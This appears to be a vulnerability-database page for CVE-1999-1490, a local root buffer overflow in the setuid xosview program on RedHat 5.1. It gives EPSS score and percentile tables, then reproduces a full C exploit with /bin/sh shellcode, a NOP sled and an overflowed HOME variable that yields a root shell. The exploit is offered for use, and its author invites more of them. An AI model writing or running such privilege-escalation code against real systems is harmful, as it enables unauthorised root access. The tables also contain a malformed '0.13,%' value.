CVE-1999-1490 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-04-15	34%
2025-04-15	34%

// source: https://www.securityfocus.com/bid/362/info xosview is an X11 system monitoring application that ships with RedHat 5.1 installed setuid root. A buffer overflow vulnerability was found in Xrm.cc, the offending code listed below: char userrfilename[1024]; strcpy(userrfilename, getenv("HOME")); The userfilename can be overflowed and arbritrary code executed to gain root access locally. * xosview 1.5.1 buffer overrun exploit * brought to you by Kossak (ldvg@rnl.ist.utl.pt) * * yep, this is a shameless rip from Aleph's tutorials, but it sure * works... Lets keep those exploits coming!! :) * Thanks to Chris Evans for posting the bug. */ /* NOTE!!! xosview needs an open X display for this to work, so remember * to modify the source (line 62), with your ip. * The offset and buffer size work with me fine, but you might need to * change them. */ #include <stdlib.h> #define DEFAULT_OFFSET 1150 #define DEFAULT_BUFFER_SIZE 3500 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("xosview exploit by Kossak\n"); printf("try changing the default values if you dont get root now.\n"); printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("HOME", buff, 1); system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */ }